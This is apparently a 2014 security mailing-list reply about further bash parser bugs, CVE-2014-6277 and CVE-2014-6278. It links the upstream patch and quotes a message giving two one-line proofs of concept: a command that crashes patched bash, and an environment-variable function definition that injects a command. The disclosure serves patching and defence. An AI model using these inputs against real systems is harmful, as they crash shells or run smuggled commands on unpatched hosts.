Re: more bash parser bugs (CVE-2014-6277, CVE-2014-6278)

[Shawn <citypw () gmail com>]

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028

On Thu, Oct 2, 2014 at 2:20 AM, Hanno Böck <hanno () hboeck de> wrote:
> Haven't seen it here yet. lcamtuf now disclosed details of the two
> further parser bugs he found:
> http://lcamtuf.blogspot.de/2014/10/bash-bug-how-we-finally-cracked.html
>
> Basically if anyone hasn't applied one of the prefix patches yet now's
> the time to do so.
>
> While prefixing should shield against them they should still be fixed
> for good.
>
> CVE-2014-6277 can still be triggered to segfault a fully patched bash:
> bash -c "f(){ x(){ _;}; x(){ _;}<<a;}"
>
> Second issue PoC on fully patched system:
> env BASH_FUNC_x%%='() { _;}>_[$($())] { echo vuln;}' bash -c :
>
> (both likely not exploitable due to prefix shielding, but should be
> fixed anyway)
>
> --
> Hanno Böck
> http://hboeck.de/
>
> mail/jabber: hanno () hboeck de
> GPG: BBB51E42



-- 
GNU powered it...
GPL protect it...
God blessing it...

regards
Shawn